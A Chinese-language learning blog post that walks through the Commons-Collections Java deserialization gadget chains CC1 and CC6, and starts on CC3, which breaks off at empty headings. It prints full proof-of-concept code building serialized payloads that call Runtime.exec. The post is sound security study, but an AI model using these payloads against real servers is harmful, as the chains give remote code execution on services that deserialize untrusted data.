java反序列化之CC链1-7学习
p0melo

基础知识

假设某服务器接收java字节码并使用ObjectInputStream.readObject方法进行反序列化,我们将包含执行命令代码的Test类序列化后直接传给服务器,这时服务器上并不会触发命令,而是报错,因为会找不到Test类,所以想要触发命令我们就需要找服务器上存在的类,如何通过存在的类在反序列化的时触发命令?

如果反序列化的类定义了readObject方法,在服务器上执行ObjectInputStream.readObject时,会自动调用反序列化类中的readObject方法,更进一步的,如果反序列化类的readObject方法中执行了该类成员变量的某些方法,而这些成员变量是可控的,一个反序列化利用或许就出现了。在readObject反序列化中有个重要利用链就是Commons-Collections组件的利用链,该组件是各种中间件必用的组件,利用的非常广泛。

先看下CommonsCollections链中几个关键的类,这几个类就可以实现任意任意类和方法的调用,都实现了Transformer接口,该接口就一个transform方法,我们重点关注这几个实现类的transform方法的逻辑。

ConstantTransformer

构造方法作用就是将传入的对象保存为一个常量,调用实例的transform方法就返回该常量。

1
2
3
4
5
6
7
8
9
private final Object iConstant;

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

InvokerTransformer

主要作用是通过反射调用传入对象的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
......
}
}

ChainedTransformer

实例化这个类需要传入Transformer的数组,调用这个类的transform方法就会遍历数组中每个元素的transform方法,每次transform方法返回的对象会作为下一个transform方法的输入

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

合并

现在我们将上面三个类串起来,写一个执行命令的简单例子,创建一个Transformer数组,将Runtime对象传入ConstantTransformer作为第一个元素,通过InvokerTransformer调用Runtime实例的exec方法放在第二个元素,然后将Transformer数组传入ChainedTransformer构造方法,最后调用其transform方法就可以触发命令。

其实chainedTransformer调用过程和object.xxx().yyy().zzz()是一样的,进一步将上面Runtime.getRuntime()改为反射的写法

为什么Runtime.getRuntime()需要进一步修改为反射的写法?

Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列化。

所以需要将Runtime.getRuntime() 换成 Runtime.class ,前者是一个java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。

1
2
3
4
5
6
7
8
9
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{0, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(null);

其实等价于Runtime.class.getMethod("getRuntime").invoke(null,null).exec("calc"),现在我们可以通过chainedTransformertransform方法到命令执行了,那么如何从readObjecttransform函数呢?这就是CommonsCollections链的意义了

CommonsCollections1

LazyMap

上面我们是手写触发chainedTransformertransform方法,一般不会有代码直接写chainedTransformer.transform(null),所以我们需要找到更加常用且有调用transform的方法,LazyMap正好符合要求,看下LazyMap的关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}

public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

LazyMap的decorate方法会将传入的Transformer保存为factory,当从map中不包含get的key时,会触发factorytransform方法。

所以我们将一个空的map和执行命令的chainedTransforme传入LazyMap的decorate,再调用该LazyMap的get方法(key为任意)即可触发transform

接着进一步寻找实现了readObject,并且通过readObject能触发到LazyMap的get方法,这样就可以构成一个反序列化利用链了。AnnotationInvocationHandler类正好可以满足这样的要求。

AnnotationInvocationHandler

先看下AnnotationInvocationHandler类(JDK8的版本要<1.8.0_71)关键的几个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// 构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2; // 保存传进来的Map实例
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator(); // 如果设置了动态代理,这里会先调用memberValues的invoke方法
......

}

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
......
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4); // 这里触发get方法
......
}
}
}



其中的invoke方法会调用到memberValuesget方法,而memberValues可通过构造函数赋值为LazyMap,所以能调用到Invoke就可以触发,要怎么通过readObject方法调用到invoke方法呢?可以通过java对象代理。

java提供了newProxyInstance创建对象代理的方式:newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h),第1个参数是ClassLoader,默认即可;第2个参数是我们需要代理的对象集合;第3个参数为实现了InvocationHandler接口的实例,里面包含了具体代理的逻
辑,AnnotationInvocationHandler类正好实现了InvocationHandlerSerializable接口,可以作为第3个参数。

被对象代理设置的对象,调用其任意方法时,都会先调用代理类,也就是InvocationHandler实例的invoke方法。

上方代码readObject方法的第23行,在传入的this.memberValues有设置对象代理时,调用其任意方法都会触发其代理类的invoke方法,代理类可以设置AnnotationInvocationHandler,在invoke中就可以触发get方法了,这样我们打通了整个利用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/** ysoserial的Gadget chain
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

poc

cc1完整poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{0, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 将一条空的fakeTransformers传给ChainedTransformer,避免本地调试时触发命令
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

// 获取构造函数
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 创建代理类
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
// 动态代理,创建lazyMap实例
Map map1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
// 创建被反序列化的AnnotationInvocationHandler类
Object aa = constructor.newInstance(Override.class, map1);
// 序列化前再将真正触发命令的transformers设置进去
Field iTransformers = ChainedTransformer.class.getDeclaredField(("iTransformers"));
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(aa);
oos.close();
// 反序列化
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = in.readObject();
in.close();
}

CommonsCollections6

上面CC1只有在jdk版本低于1.8.0_71才能触发,因为新版本AnnotationInvocationHandler#readObject逻辑变了。我们要解决jdk高版本利用的问题,其实就是要寻找其他调用LazyMap#get()的地方,TideMapEntry#hashCode方法正好有调用。

TideMapEntry

先看下TideMapEntry的几个关键方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}

public Object getValue() {
return this.map.get(this.key);
}

public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

我们可以通过构造方法将LazyMap传入this.map,然后通过getValue方法可以触发其get方法,而hashCode又有调用到getValue,所以我们需要继续找一个类,该类的readObject可以通到TideMapEntry#hashCode

HashMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
......
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); // 调用hash方法
}
}

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

HashMap的readObject会调用hash方法,hash方法内触发keyhashCode,如果我们key传入TideMapEntry,就可以触发TideMapEntry#hashCode了,其实到这里从readObjecttransform就走通了,算是一个简化版的CC6链,Ysoserial中CC6在此基础上加了层HashSet#readObject

HashSet

HashSet#readObject会调用HashMap的put方法,正好可以跟上面链接起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
......
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

// HashMap#put
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

poc

CC6利用链和poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{0, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");

HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
// 由于创建hashset后,会自动给lazyMap添加一个key-value,所以要remove掉这个键值对
// 以保证lazyMap.get时,map.containsKey(key) == false,从而进入transform函数
lazyMap.clear();

Field iTransformers = ChainedTransformer.class.getDeclaredField(("iTransformers"));
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashSet);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}

第34行调用一次clear()是因为hashSet.add会将key/value put到LazyMap中,若不clear()会导致反序列化时LazyMap包含该key,从而进不到if语句内,无法触发transform

这条链在jdk高版本也可以触发

CommonsCollections3

先贴下CC3的利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform() // 上面和CC1相同
InstantlateTransformer.transform()
newinstance()
TrAXFllter#TrAXFllter()
Templateslmpl.newTransformer()
Templateslmpl.getTransletinstance()
Templateslmpl.defineTransletClasses()
newinstance()
Runtlme.exec()
*/

CC3的前半截调用过程和CC1一样,区别就是CC3用InstantiateTransformer代替了CC1的InvokerTransformer,并且通过字节码的方式触发,其关键点就在TemplatesImplTrAXFilter

TrAXFilter

TemplatesImpl

参考

commons-collections利用链学习总结

Java安全漫谈 系列

ysoserial项目

 Comments